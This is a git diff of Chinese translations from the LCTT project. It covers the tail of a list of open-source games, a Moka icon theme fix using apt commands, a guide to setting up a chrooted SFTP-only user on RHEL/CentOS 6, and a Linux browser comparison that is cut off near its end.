+由经典DOS游戏《特技飞车》启发,《无限特技飞车》要求玩家超控车辆越过毁坏的桥梁、跳台、圆环、螺旋及其它障碍。它提供了设计你独有赛道的选项,允许你来创造需要更加疯狂特技的赛道。操作系统:Windows,Linux和OS X。 + + +#### 60. [VDrift][61] #### + +作为一款竞速赛车的模拟所能做到的极致,VDrift以一个真实的物理引擎带领玩家们来到了漂移赛车的世界。它包含了超过45种车辆,超过45条赛道,并且对大量种类的游戏控制器提供了支持。适用操作系统Windows,Linux,OS X。 + +### 角色扮演和冒险游戏 ### + +#### 61. [穿越火线][62] #### + +有时被形容为《NetHack》和《Gauntlet》的结合,《穿越火线》是一款画面十分旧派的街机冒险游戏。它拥有超过3000张不同的地图和超过150种不同的怪物。适用操作系统:Windows, Linux和 OS X. + +#### 62. [Epic Inventor][63] #### + +Epic Inventor将自己描述为一款"横向卷轴动作RPG"。它在简约、像素风格的画面和开放性上类似于Minecraft。适用操作系统:Windows和 Linux. + +#### 63[Excalibur: Morganna's Revenge] [64] #### + +这部穿越时空的史诗级大作,让你扮演一位未来世界的太空陆战队员,必须穿越回到亚瑟王和卡梅洛特城的年代。它的画面表现并没什么特别出彩之处(想想 Minecraft),但是故事情节和游戏性都很赞。适用操作系统: Windows, Linux和OS X. + +#### 64. [Flare][65] #### + +灵感来源于《暗黑破坏神》,这个角色扮演游戏将重心放在了战斗上。它目前还只发布了alpha版本,不过已经可以玩。适用操作系统:Windows, Linux和 OS X. + +#### 65. [Lips of Suna][66] #### + +仅供成年人玩的这款"半开玩笑的动作RPG"充满了“暴力、黄段子、裸体以及其它你大概再也不会在别的游戏中看到的主题”。它提供了大量的操作和不断变化的场景。适用操作系统:Windows和 Linux. + +#### 66. [The Mana World][67] #### + +这是一款大型的多人网络角色扮演游戏(MMORPG),但其实没有想象中那么大规模。(在我写下这段文字的时候有31个人正在玩这个游戏。)不过,它仍然是一个很好的尝试,去创造了一个充满怪物、任务和小游戏并不断扩大的世界。适用操作系统:Windows,Linux和OS X。 + +#### 67. [NetHack][68] #### +(LCTT译注:此处原文链接有误,和上个游戏的链接地址一样了) + +游戏史上经典之一,NetHack是一款画面十分简约的复杂地图探索游戏。它被称为有史以来最好的100个视频游戏之一。适用操作系统: Windows, Linux, 和经典Mac. + +#### 68. [PlaneShift][69] #### + +游戏背景设在一个名为Yliakum的奇幻世界,这个独特的在线角色扮演游戏的特色,是有10个不同的种族和一个拥有自己经济、政府、宗教和法律的发达世界。虽然已经可玩,不过这款游戏还处在开发早期阶段。适用操作系统:Windows, Linux和 OS X. + + +#### 69. [Ryzom][70] #### + +作为较好的开源MMORPG之一,已获赞誉的《Ryzom》将世界观设在名为Atys的树状星球上,其上有许多不同种族生存交流,并且有时会发生冲突。你可以免费来玩,不过那些选择了捐赠款项的玩家会得到一些额外的特别福利。适用操作系统:Windows, Linux和 OS X. + +#### 70. [Stendhal][71] #### + +这款在线角色扮演游戏旨在做得比大多数同类游戏更加友好。其网站称,"你也许会被请求去协助保护土地、拯救穷人、治愈病人、让某人开心 +解决难题,或只是简单地伸出援手"。适用操作系统:Windows, Linux和OS X. + +#### 71. [Summoning Wars][72] #### + +可允许最多8人一起玩的奇幻角色扮演游戏。在Youtube上有一个该作的[预告片][114],让你能够看到它的运行效果。适用操作系统:Windows, Linux和 OS X. + +### 模拟游戏 ### + +#### 72. [FlightGear][73] #### + +极其写实的《FlightGear》,是一款顶尖的飞行模拟器,甚至能匹敌专业软件。它包含了整个世界的精确地形,以及20,000多个机场和众多飞机的逼真模型。适用操作系统:Windows, Linux, OS X和其它。 + +#### 73. [Golems][74] #### + +有了这个物理模拟器,你可以创建任何你想创建的东西,并观察它在真实世界中将会有何表现。它在帮助学习基础机械、制造机器人、以及发明各种玩意上真是太棒了。适用操作系统:Windows, Linux和 OS X. + +#### 74. [LinCity NG][75] #### + +在原本的《模拟城市》基础上,《LinCity NG》让玩家挑战去建造一个拥有繁荣经济的可持续发展大都市。需要注意的是,由于这个游戏是基于早年的代码,他的画面更接近早期的DOS游戏。适用操作系统:Windows, Linux和 OS X. + + +#### 75. [Micropolis/OLPC SimCity][76] #### + +另一款《模拟城市》的模仿作,Micropolis是一个基于Java开发的城市模拟器。它同样也是以相当老派的画面为特性,而不是像较新的城市模拟游戏那样采用3D画面。适用操作系统:Windows, Linux和 OS X. + +#### 76. [Minetest][77] #### + +与《Minecraft》极其相似,《Minetest》的游戏背景被设置一个拥有各种基础搭建模块的无垠世界中。玩家可以探索、挖掘或加工一些自己需要的新物件。适用操作系统: Windows, Linux和 OS X. + +#### 77. [Pioneer][78] #### + +《Pioneer》将自己描述为“一个孤独的太空冒险游戏”。它将玩家传送到一个开放的世界中,在这个世界里他们可以决定他们想做什么以及去哪里。适用操作系统:Windows, Linux和 OS X. + +#### 78. [Oolite][79] #### + +基于《Elite》的《Oolite》是一个太空模拟器,在其中你可以与其他航天员进行进行交易或卷入一场战斗。这个游戏已经存在了相当长的时间,有许多扩展包可以使用。适用操作系统:Windows, Linux和 OS X. + +#### 79. [OpenCity][80] #### + +这款3D城市模拟游戏并不打算成为《模拟城市》的复刻版,不过还是提供了一种类似的玩法。它还相当基础,不过已经可玩。适用操作系统:Windows, Linux和 OS X. + +#### 80. [OpenTTD][81] #### + +基于《运输大亨Deluxe》,OpenTTD邀请玩家去建立一个运输帝国。它可同时支持多达255个玩家,并且在原本的TTD基础上以许多方式进行了改善。适用操作系统: Windows, Linux和 OS X. + +#### 81. [Rigs of Rods][82] #### + +这款拥有独有的“软体”物理引擎的交通工具模拟游戏,享有十分活跃而热情的粉丝基础。使用它来创造海陆空的交通工具,并驾驶他们前往或飞往全国各地吧。适用操作系统:Windows, Linux和 OS X. + +#### 82. [模拟交通][83] #### + +这款交通模拟游戏支持连接到遍布世界的游戏服务器进行联网游戏。使用大巴、卡车、火车、电车、船只、飞机、单轨铁车、磁悬浮列车或者其它交通工具将人们或者货物运送到他们想抵达的地方去。适用操作系统:Windows, Linux和 OS X. + +#### 83. [Vega Strike][84] #### + +这是另一款可以让你在跨越星系进行交易或战斗的太空模拟游戏。你既可以选择沿贸易路线飞行、接受赏金猎人任务、转行当海盗,也可以仅仅只是探索浩瀚的太空。适用操作系统:Windows, Linux和 OS X. + +### 战略游戏 ### + +#### 84. [0 A.D.][85] #### + +在当前的第16个alpha发布版中,0 A.D.是一个优秀的致力于还原历史的文明建设类游戏。玩家可以选择迦太基人、凯尔特人、希腊人、伊比利亚人、孔雀王朝时代的古印度人、波斯人或罗马人进行游戏。适用操作系统:Linux, Windows 和 OS X. + +#### 85. [Advanced Strategic Command][86] #### + +这款回合制战略游戏基于《战岛》系列游戏。玩家们在格子型的地图上战斗,可选单机游戏模式或者多人游戏模式。适用操作系统:Windows 和 Linux. + +#### 86. [韦诺之战][87] #### + +这款回合制战术策略游戏让玩家置身于神话世界,并在其中为争夺王位而战。兽人、精灵、巫师以及上百种其他类似的奇幻角色共同居住于这一巨大的环境之中。支持单人游戏和多人游戏。适用操作系统:Linux,Windows,OS X,IOS。 + +#### 87. [BosWars][88] #### + +这款未来风的实时战略游戏需要玩家去建设能源存储设施和经济体系,来支持其军事战斗。玩家可以与电脑对战,或通过局域网来进行多人游戏。适用操作系统:Windows,Linux,BSD,OS X。 + +#### 88. [CommanderStalin][89] #### + +这个《BosWars》的变体版本将背景设置在斯大林时期的苏联。为了迎击不可避免的纳粹袭击而进行准备吧!适用操作系统:Windows和Linux。 + +#### 89. [FreeCol][90] #### + +受到《Colonization》和《文明》这两款游戏的启发,《FreeCol》是一款回合制文明建设战略游戏。你将从1492年的新大陆开始游戏,最终依靠自由宣言建立一个独立的国家获得胜利。适用操作系统:Windows, Linux和OS X. + +#### 90. [FreeCiv][91] #### + +同样也是受到《文明》的启发,这款回合制战略游戏将从石器时代开始,并结束于太空时代。它包含50种可操控单位和541个国家,并附带了许多各种可玩的剧本。适用操作系统:Windows, Linux和 OS X. + +#### 91. [FreeOrion][92] #### + +虽然它并不是复刻或重制,《FreeOrion》大体上还是基于《银河霸主》系列游戏的。它是一款以太空为背景的回合制战略游戏。适用操作系统:Windows, Linux和 OS X. + +#### 92. [Glest][93] #### + +这款实时战略游戏中,科技的力量与魔法的力量进行着大战。虽然它仍然提供下载,但是现在大多数的Linux发行版本包含的是它的分支版本《Megaglest》(见下文),而不是这个更旧点儿的项目。适用操作系统:Windows和 Linux. + +#### 93. [Globulation 2][94] #### + +这个实时文明建设战略游戏旨在减少微观管理、允许玩家将精力集中于战略上。支持单机或多人游戏,并且还有关卡编辑器。适用操作系统:Windows和 Linux. + +#### 94. [刺猬大作战][95] #### + +比较轻松的战略游戏之一,《刺猬大作战》的特色是以“模样滑稽的粉色刺猬们拥有着能从地狱一路战斗至太空般的气势”,支持31种环境,48套既有地图,可无限随机生成的地图,55种武器,280种服装,并且能支持多达8个玩家。适用操作系统:Linux, OS X和iOS. + +#### 95. [Kernel Panic][96] #### + +以数码空间为背景的《Kernel Panic》是一款有着与《创》相似画面风格的实时战略游戏。所有资源都是免费的,因此玩家不必在经济建设上耗费心思——只需专注与其他骇客在网络中战斗。适用操作系统:Linux和 Windows。 + +#### 96. [Liquid War][97] #### + +追溯至2002年时,《Liquid War》被评为最“最新颖的Linux游戏”,并且如今仍然值得一玩。为了吞噬敌人而操控一支你的液体大军吧。适用操作系统: Windows, Linux和 OS X. + + +#### 97. [MegaGlest][98] #### + +这个《Glest》的分支版本在原来的科技与魔法之外增加了5个新的队伍:埃及,印度,挪威,波斯和罗马。它提供了17种不同的地图类型,有单机和多人游戏模式,并为新手提供了教程。适用操作系统:Windows和 Linux. + +#### 98. [不列颠治下和平][99] #### + +(LCTT译注:原文游戏名称中的“Brittanica”为笔误,实际是“Britanica”) +这款潜艇战略游戏最多可支持4名玩家适用同一块键盘同时战斗。操作非常简单易学(你只需使用一个按钮),不过游戏过程可以玩得非常激烈。适用操作系统:Windows, Linux和 OS X. + +#### 99. [Spring: 1944][100] #### + +这款二战战略游戏提供了十分逼真的单位和强度。可选择美国、德国、苏联和英国来进行游戏。适用操作系统:Linux。 + +#### 100. [不明飞行物:异形入侵][101] #### + +在未来的70年中,一个秘密组织为了从凶恶外星人的侵略之中保护地球而战。玩家可在单机或多人战斗中扮演人类或者外星人。适用操作系统:Windows, Linux和 OS X. + +#### 101. [Unknown Horizons][102] #### + +在这个文明建设战略游戏中,核心是建立一个强大的经济体制。刚开始游戏时,你身在一个孤岛之上,只有屈指可数的移民和资源,需要去努力建造一个欣欣向荣的城市。适用操作系统:Windows, Linux和 OS X. + + +#### 102. [战争地带2100][103] #### + +你能在核破坏后重建地球吗?这个游戏提供了一棵非常庞大的科技树,并支持单人模式或者多人模式。适用操作系统:Windows, Linux,和OS X. + +#### 103. [Widelands][104] #### + +受《工人物语2》启发,《Widelands》又是一款让玩家挑战去建立文明的实时战略游戏。它的特色是具有3种部落——野蛮人、帝国人和亚特兰蒂斯人,并且与大多数文明游戏不同,玩家不需要告知每个单位去做什么,而是下达命令、指派代表,更接近一个现实中的统治者。适用操作系统:Windows, Linux和 OS X. + +#### 104. [Zero-K][105] #### + +在这个快速移动的实时战略游戏中,机器人军队进行着一场永无休止的战斗。主要特性是包含超过100种不同的单位、现代化的经济体系、逼真的物理引擎、地球化等等。适用操作系统: Windows和 Linux. + +#### 105. [Zombies][106] #### + +你能够在在僵尸杀了你之前杀死所有僵尸吗?这款回合制的游戏拥有令人上瘾的游戏过程,以及允许玩家决定血腥程度的设置。适用操作系统:OS X、 + +### 有趣的非游戏类 ### + +#### 106. [Celestia][107] #### + +对于天文学爱好者和以宇航员为目标的人来说,这款软件无疑是至臻完美的,《Celestia》能够让你看到在已知的宇宙中任何时间、任何地点上看到的星空。用它进行一场前往木星的快速旅行,或为你夜晚的观测画出星图吧。适用操作系统:Windows, Linux和 OS X. + +#### 107. [Electric Sheep][108] #### + +受到Philip K. Dick的小说《机器人会梦见电子羊吗?》的启发,这个屏保将你的系统与数以千计的其它系统连接,来创建抽象的图案和花纹。投票支持你喜欢的图案,它们便会出现得更频繁一些。适用操作系统:Windows, Linux, OS X, 安卓和 iOS. + +#### 108. [LCARS 24][109] #### + +如果你家里有一台旧的PC(谁没有呢),何不把它变成一个《星际迷航》主题的交互工具。有了这个应用,你就能得到一个看起来就像是从进取号上拆下来的闹钟和文件管理器。适用操作系统:Windows和 DOS. + +#### 109. [Stellarium][110] #### + +把你的PC变成一个天文馆。《Stellarium》能够展示地球上任何时间任何地点看到的夜空,并且它也被许多天文馆采用来增强他们的展示。适用操作系统:Windows, Linux和 OS X. + +#### 110. [Tux Paint][111] #### + +《Tux Paint》让学龄前儿童在电脑上创作自己的“图画”变得更加容易。它的特色是拥有一个有大按钮、有趣音效和友好角色的用户界面。适用操作系统:Windows, Linux和 OS X. + + +-------------------------------------------------------------------------------- + +via: http://www.datamation.com/open-source/110-fun-open-source-games-and-apps-1.html + +译者:[disylee](https://github.com/译者ID) 校对:[ReiNoir](https://github.com/reinoir) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.datamation.com/open-source/101-most-fun-open-source-games-and-apps-1.html +[2]:http://www.stuff-o-matic.com/asgp/ +[3]:http://armagetronad.org/index.php +[4]:http://bzflag.org/ +[5]:http://chromium-bsu.sourceforge.net/ +[6]:http://www.parallelrealities.co.uk/p/legend-of-edgar.html +[7]:http://www.penguspy.com/jvgs/ +[8]:http://www.nogravitythegame.com/classic/ +[9]:http://opensnc.sourceforge.net/home/index.php +[10]:http://linux.tlk.fr/games/Powermanga/ +[11]:http://www.scorched3d.co.uk/ +[12]:http://www.srb2.org/ +[13]:http://supertux.lethargik.org/ +[14]:http://funguloids.sourceforge.net/ +[15]:http://www.teeworlds.com/ +[16]:http://xmoto.tuxfamily.org/ +[17]:http://www.yofrankie.org/ +[18]:http://domination.sourceforge.net/ +[19]:http://sourceforge.net/apps/mediawiki/scrabble/index.php?title=Main_Page +[20]:http://sourceforge.net/apps/mediawiki/scrabble/index.php?title=Main_Page +[21]:http://www.pokerth.net/ +[22]:http://pysolfc.sourceforge.net/ +[23]:http://gabrielecirulli.github.io/2048/ +[24]:http://www.nongnu.org/billiards/ +[25]:http://cubetrains.com/ +[26]:http://www.nongnu.org/enigma/ +[27]:http://fillets.sourceforge.net/ +[28]:http://www.frozen-bubble.org/ +[29]:http://live.gnome.org/GnomeGames +[30]:http://tomatoes.sourceforge.net/about.html +[31]:http://games.kde.org/ +[32]:http://neverball.org/ +[33]:http://pingus.seul.org/welcome.html +[34]:http://pushover.sourceforge.net/ +[35]:http://zaz.sourceforge.net/ +[36]:http://www.schoolsplay.org/ +[37]:https://live.gnome.org/gbrainy +[38]:http://gcompris.net/index-en.html +[39]:http://tux4kids.alioth.debian.org/tuxmath/index.php +[40]:http://icculus.org/alienarena/rpa/ +[41]:http://assault.cubers.net/ +[42]:http://www.alientrap.org/games/nexuiz +[43]:http://openarena.ws/smfnews.php +[44]:http://www.redeclipse.net/ +[45]:http://tremulous.net/ +[46]:http://www.truecombatelite.com/ +[47]:http://www.unvanquished.net/ +[48]:http://www.warsow.net/ +[49]:http://www.splashdamage.com/wolfet +[50]:http://worldofpadman.net/website/news +[51]:http://www.xonotic.org/ +[52]:http://www.zeroballistics.com/ +[53]:http://www.stepmania.com/ +[54]:http://www.stepmania.com/ +[55]:http://www.ultrastardeluxe.org/ +[56]:http://sourceforge.net/projects/extremetuxracer/ +[57]:http://www.speed-dreams.org/ +[58]:http://supertuxkart.sourceforge.net/ +[59]:http://torcs.sourceforge.net/ +[60]:http://www.ultimatestunts.nl/ +[61]:http://vdrift.net/ +[62]:http://crossfire.real-time.com/intro/index.html +[63]:http://www.epicinventor.com/ +[64]:http://excaliburworld.com/emr/emr3/index.html +[65]:http://flarerpg.org/media/ +[66]:http://lipsofsuna.org/ +[67]:http://themanaworld.org/ +[68]:http://themanaworld.org/ +[69]:http://www.planeshift.it/about.html +[70]:http://www.ryzom.com/en/ +[71]:http://stendhalgame.org/ +[72]:http://sumwars.org/wiki/Main_Page +[73]:http://www.flightgear.org/ +[74]:http://www.golemgame.com/ +[75]:http://lincity.sourceforge.net/ +[76]:https://code.google.com/p/micropolis/ +[77]:http://minetest.net/ +[78]:http://pioneerspacesim.net/ +[79]:http://www.oolite.org/ +[80]:http://www.opencity.info/ +[81]:http://www.openttd.org/en/ +[82]:http://www.rigsofrods.com/content/ +[83]:http://www.simutrans.com/ +[84]:http://vegastrike.sourceforge.net/ +[85]:http://play0ad.com/ +[86]:http://www.asc-hq.org/ +[87]:http://www.wesnoth.org/ +[88]:http://www.boswars.org/ +[89]:http://commanderstalin.sourceforge.net/ +[90]:http://www.freecol.org/ +[91]:http://freeciv.wikia.com/wiki/Main_Page +[92]:http://freeorion.org/index.php/Main_Page +[93]:http://glest.org/en/index.php +[94]:http://globulation2.org/wiki/Main_Page +[95]:http://www.hedgewars.org/ +[96]:http://springrts.com/wiki/Kernel_Panic +[97]:http://www.ufoot.org/liquidwar/v5 +[98]:http://glest.org/en/index.php +[99]:http://paxbritannica.henk.ca/ +[100]:http://spring1944.net/ +[101]:http://ufoai.org/wiki/News +[102]:http://www.unknown-horizons.org/ +[103]:http://wz2100.net/ +[104]:http://wl.widelands.org/ +[105]:http://zero-k.info/ +[106]:http://codenautics.com/zombies/ +[107]:http://www.shatters.net/celestia/index.html +[108]:http://community.electricsheep.org/ +[109]:http://lcars24.com/ +[110]:http://stellarium.org/ +[111]:http://tuxpaint.org/ +[112]:http://www.poker-heroes.com/register.html +[113]:http://tuxracer.sourceforge.net/ +[114]:https://www.youtube.com/watch?v=fPXatVmAS7E \ No newline at end of file diff --git a/published/201408/20140723 Fix Missing Speaker Icon From Moka Icon Theme.md b/published/201408/20140723 Fix Missing Speaker Icon From Moka Icon Theme.md new file mode 100644 index 0000000000..ac7b2c9306 --- /dev/null +++ b/published/201408/20140723 Fix Missing Speaker Icon From Moka Icon Theme.md @@ -0,0 +1,37 @@ +[小技巧]修复Moka图标主题丢失的扬声器图标 +================================================================================ + +[Moka][1]是一个漂亮的图标主题,它在[Ubuntu可用的最佳图标主题][2]中扮演着重要的角色。但在Ubuntu 14.04中,Moka有那么点小缺憾。如果你在Ubuntu 14.04的Unity中使用摩卡,你会发现用于调节声音的扬声器图标不见了: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/07/Moka_Missing_Sound_Icon.jpeg) + +### 使用Moka图标主题时修复丢失的声音图标 ### + +虽然你可能已经添加的官方Moka PPA源,但为了检查起见,再次添加它吧: + + sudo add-apt-repository ppa:moka/stable + sudo apt-get update + +现在,接下来要做的是安装单色面板图标。使用下面的命令来安装: + + sudo apt-get install faba-mono-icons + +一旦你安装完Faba单色图标后,将你的图标主题从Moka修改为Faba。这会给你Unity中的Moka图标主题的顶部面板配上漂亮的单色图标: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/07/Moka_With_Sound_Icons.jpeg) + +我希望这会帮助你修复丢失的声音图标。享受Moka带来的点点滴滴吧。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/fix-missing-speaker-icon-from-moka/ + +原文作者:[Abhishek][a] + +译者:[GOLinux](https://github.com/GOLinux) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:http://mokaproject.com/ +[2]:http://itsfoss.com/best-icon-themes-ubuntu-1404/ diff --git a/published/201408/20140723 How to configure chroot SFTP in Linux.md b/published/201408/20140723 How to configure chroot SFTP in Linux.md new file mode 100644 index 0000000000..7a196219aa --- /dev/null +++ b/published/201408/20140723 How to configure chroot SFTP in Linux.md @@ -0,0 +1,89 @@ +在 Linux 中为非 SSH 用户配置 SFTP 环境 +================================================================================ +在**某些环境**中,系统管理员想要允许极少数用户在可以传输文件到Linux机器中,但是不允许使用 SSH。要实现这一目的,我们可以使用**SFTP**,并为其构建chroot环境。 + +### SFTP & chroot背景: ### + +**SFTP**是指**SSH文件传输协议(SSH File Transfer protocol)或安全文件传输协议(Secure File Transfer Protocol)**,它提供了可信数据流下的文件访问、文件传输以及文件管理功能。当我们为SFTP配置chroot环境后,只有被许可的用户可以访问,并被限制到他们的**家目录**中,换言之:被许可的用户将处于牢笼环境中,在此环境中它们甚至不能切换它们的目录。 + +在本文中,我们将配置**RHEL 6.X** 和 **CentOS 6.X中的SFTP Chroot环境**。我们开启一个用户帐号‘**Jack**’,该用户将被允许在Linux机器上传输文件,但没有ssh访问权限。 + +### 步骤:1 创建组 ### + + [root@localhost ~]# groupadd sftp_users + +### 步骤:2 分配附属组(sftp_users)给用户 ### + +如果用户在系统上不存在,使用以下命令创建( LCTT 译注:这里给用户指定了一个不能登录的 shell,以防止通过 ssh 登录): + + [root@localhost ~]# useradd -G sftp_users -s /sbin/nologin jack + [root@localhost ~]# passwd jack + +对于**已经存在的用户**,使用以下usermod命令进行修改: + + [root@localhost ~]# usermod –G sftp_users -s /sbin/nologin jack + +**注意**:如果你想要修改用户的**默认家目录**,那么可以在useradd和usermod命令中使用‘**-d**’选项,并设置**合适的权限**。 + +### 步骤:3 现在编辑配置文件 “/etc/ssh/sshd_config” ### + + # vi /etc/ssh/sshd_config + #comment out the below line and add a line like below + #Subsystem sftp /usr/libexec/openssh/sftp-server + Subsystem sftp internal-sftp + + # add Below lines at the end of file + Match Group sftp_users + X11Forwarding no + AllowTcpForwarding no + ChrootDirectory %h + ForceCommand internal-sftp + +#### 此处: #### + +- **Match Group sftp_users** – 该参数指定以下的行将仅仅匹配sftp_users组中的用户 +- **ChrootDirectory %h** – 该参数指定用户验证后用于chroot环境的路径(默认的用户家目录)。对于用户 Jack,该路径就是/home/jack。 +- **ForceCommand internal-sftp** – 该参数强制执行内部sftp,并忽略任何~/.ssh/rc文件中的命令。 + +重启ssh服务 + + # service sshd restart + +### 步骤:4 设置权限: ### + + [root@localhost ~]# chmod 755 /home/jack + [root@localhost ~]# chown root /home/jack + [root@localhost ~]# chgrp -R sftp_users /home/jack + +如果你想要允许jack用户上传文件,那么创建一个上传文件夹,设置权限如下: + + [root@localhost jack]# mkdir /home/jack/upload + [root@localhost jack]# chown jack. /home/jack upload/ + +### 步骤:5 现在尝试访问系统并进行测试 ### + +尝试通过ssh访问系统 + +![](http://www.linuxtechi.com/wp-content/uploads/2014/07/ssh-try.png) + +正如下图所示,用户jack通过SFTP登录,而且因为chroot环境不能切换目录。 + +![](http://www.linuxtechi.com/wp-content/uploads/2014/07/sftp-login.png) + +现在进行**上传和下载**测试,如下图: + +![](http://www.linuxtechi.com/wp-content/uploads/2014/07/sftp-upload-download.png) + +正如上图所示,jack用户的上传下载功能都工作得很好。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxtechi.com/configure-chroot-sftp-in-linux/ + +原文作者:[Pradeep Kumar][a] + +译者:[GOLinux](https://github.com/GOLinux) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linuxtechi.com/author/pradeep/ diff --git a/published/201408/20140724 Best Linux Browsers.md b/published/201408/20140724 Best Linux Browsers.md new file mode 100644 index 0000000000..593cb51884 --- /dev/null +++ b/published/201408/20140724 Best Linux Browsers.md @@ -0,0 +1,81 @@ +Linux中一些最优秀的浏览器 +================================================================================ + +> 本文讨论Linux桌面一些最优秀浏览器的优缺点,讨论对象包括Firefox,Chrome和其它浏览器。 + +选择一款最棒的Linux浏览器来满足你所需仅费些许功夫:Linux桌面网页浏览器和在其它流行的桌面上一样已经发展了多年,随着它们的发展,其优点和缺点都被慢慢发现。优缺点涉及从新功能到被破坏的扩展程序等各方面。本文中,我将在迷茫之中充当你的向导来帮助你发现适合你的最棒的Linux浏览器。 + +### **Firefox** ### + +– [Firefox][1]成为一款Linux用户友好的浏览器已经很长时间了。 它在32位和64位的Linux上都可用,同时Firefox提供丰富的扩展程序可供选择。它是一款装载快速,易于使用的浏览器,在Linux用户中很流行。 + +**优点**: 如果Firefox没有被预装在某个Linux发行版的话,它也能很方便地从大多数常见Linux软件仓库中安装。上千种供选择的扩展程序可以让你的firefox极富个性化。几乎能够合适地渲染所有的 网页(包括政府网站和银行网站)。 + +另外很重要的一点:Firefox尊重你的隐私。Firefox有一项直白的隐私政策,和谷歌可不是一回事。因此,大多数用户能放心地让Firefox查看他们的日常浏览记录,然而,其他的某些浏览器可能会对用户的隐私有一些受利益驱使的兴趣。Firefox也非常适用于web开发者,这得感谢內嵌入Firefox的元素检查工具。 + +**缺点**: 不久之前,我发现Firefox的频繁更新会破坏我的扩展程序。这就意味着每次在我更新Firefox前得检查我最喜欢的一些扩展程序是否与新的Firefox兼容。 + +老实说,这让我重新考虑该把谁作为我的默认上网浏览器。为了做到合理,Mozilla在每次更新Firefox时都会向扩展程序开发者发出邮件通知。在这些邮件中,开发者会被告知有哪些改动以及怎样做来使一切运动流畅。 + +### **Chrome/Chromium** ### + +– Google升级它的浏览器为[Chrome][2],然而自从[Chromium][3]被作为Chrome的开发基础后我就倾向于把Chromium和Chrome视为一类。不像Firefox,Chrome/Chromium进入Linux比较晚,直到Chrome被大多数人意识到是最快的浏览器后Linux使用者才觉得它值得一试。 + +**优点**: 即使是在今天,Chrome也是超快的。虽然最近很多浏览器的升级使它有了竞争对手,但在速度方面Chrome/Chrommium还从未输过。Chrome/Chromium支持的扩展程序数量丰富甚至质量更好,而且升级Chrome/Chromium对它的扩展程序并没有影响。这就意味着,不像Firefox,我不需要去处理扩展程序的不兼容性。和Firefox一样,Chrome/Chromium也有内嵌入浏览器的元素检查工具。和其它浏览器一起试验同步功能后,只有Chrome/Chromium 证明了它是安全可靠的。在我看来,Chrome/Chromium的同步功能毫无疑问是众多浏览器中最好的。 + +**缺点**: Chrome/Chromium有时候不能正确地渲染网页。有这样一些很少见的情形,一些网站比如Ebay不能被正确地渲染。举个例子,假如我在新建一个Ebay提交,有时候会缺少某些网页按钮。我还发现有时候当一个打开的标签页正在执行大型脚本时Chrome/Chromium会完全卡住。比如Google Plus 和 Facebook这样的网站就是最常见的例子。 + +### **Qupzilla** ### + +– 说到轻量级浏览器时,我认为[Qupzilla][4]是最棒的。基于webkit,它能在很小的资源占用下提供相当好的网页渲染支持。 + +**优点**: 如果你需要一款现代化的能正确渲染网页,并大体上能提供可靠的网络浏览体验的浏览器,那么对于轻量的桌面环境来说,Qupzilla是你的理想选择。它相当轻巧,能够在老计算机上非常稳定地运行。Qupzilla预装了Access keys 和 [GreaseMonkey][5]插件(但没有被启用)。 + +同Firefox和Chrome/Chromium一样,Qupzilla也提供元素检查工具。最后,由于Qupzilla预装了[Adblock][6]插件,这就无疑使得它成为我心中的轻量级浏览器冠军。 + +**缺点**: HTML5 “视频”标签在Qupzilla上好像无法可靠地运行。而且,为了观看Flash视频,你得进入首选项并且在Webkit插件区域的扩展程序中钩去Click to Flash选项, 在HTML5 “视频”标签还是完全损坏的情况下,这个未经深思熟虑的设计实质上使得Flash无法直接播放。 + +### **Midori** ### + +– 我喜欢把[Midori][7]叫做轻量级的Chrome。和Goolge的浏览器一样,Midori通过它的“汉堡式”菜单给用户提供极简风格的体验,汉堡式菜单相当棒因为它占用的浏览器空间更少。在没有其它浏览器信条的情况下你不仅能获得稳定的上网体验,而且Midori也是相当快速。 + +**优点**: Midori快速,轻量,接近于开箱即用。它能够正确地渲染网页而且能够很好地浏览像YOUTUBE一样的网站。我认为Midori最棒的地方就是内嵌入浏览器的浏览器设置功能和网页应用快捷方式。举个例子,你可以很简单地在你的桌面上建立一个Gmail或Facebook的快捷方式。你也可以创建另外的浏览器设置,而不用新建立一个Linux用户帐号。 + +**缺点**: 虽然也提到过Midori的用户扩展程序,但可用的扩展程序并不出色。另外,用户得费些许功夫来习惯Midora的布局。 比如它给浏览过的网站还弄个垃圾桶-有没有搞错? + +### **Opera** ### + +– [Opera][8]长时间是被误解的浏览器之一。很早以前,Opera浏览器在所有Linux社区的反对下提供了Linux平台下的支持。不过后来还好,Opera成为了服务Linux用户的一个快速,和谐的浏览器,它也有很丰富的设置选项。 + +**优点**: 快速,用户自定性选项丰富。你可以在浏览器中发送和接收从RSS 订阅到电子邮件等等,Opera 可以让你很方便得获取炫丽的浏览器主题。Opera提供一个丰富的拓展仓库来供你选择扩展程序。我们不仅能从Opera阅读RSS 订阅和电子邮件,我们还能使用Opera的扩展套件功来能重温使用Mozilla Suite的日子。也许最重要的是,Opera Turbo -能极大提高你的上网速度,它通过对浏览内容的选择性压缩来给用户提供一个更快的上网体验。 + +**缺点**: 首次运行配置很多服务会很麻烦。Opera Turbo对你的上网体验有些许影响——比如YouTube,可能无法显示视频的缩略图。Opera提供如此之多的设置选项可能令业余使用者手足无措。。最后一点,Opera是闭源软件,作为桌面浏览器它不是很好地被认可。大多数爱好者仅把它当作一款手机浏览器。 + +### 哪款浏览器适合你? ### + +有这么多棒极了的选择,很难说哪个适合你。对我来说,由于我每天工作需的一些特定扩展程序,所以我很依赖于Firefox和Chromium。对于一些低端机子或是上网本,我的建议是先试试Midori,如果不合适的话,再回头看看Qupzilla。 + +那么Linux上的其它浏览器怎么样呢?比如[Epiphany][9]或是[Konqueror][10]?像这样的浏览器也很棒,但是我对我上面所提到的浏览器印象深刻。上面所列举的都是我经常使用的浏览器,我觉得它们有些地方很出色并且我很开心地向朋友和家人都推荐它们。 + +介绍完了以上几款,请您在下面的评论区域中和我们分享您喜爱的浏览器,这样其他人也许可以从您喜爱的浏览方式中得到启发。 +-------------------------------------------------------------------------------- + +via: 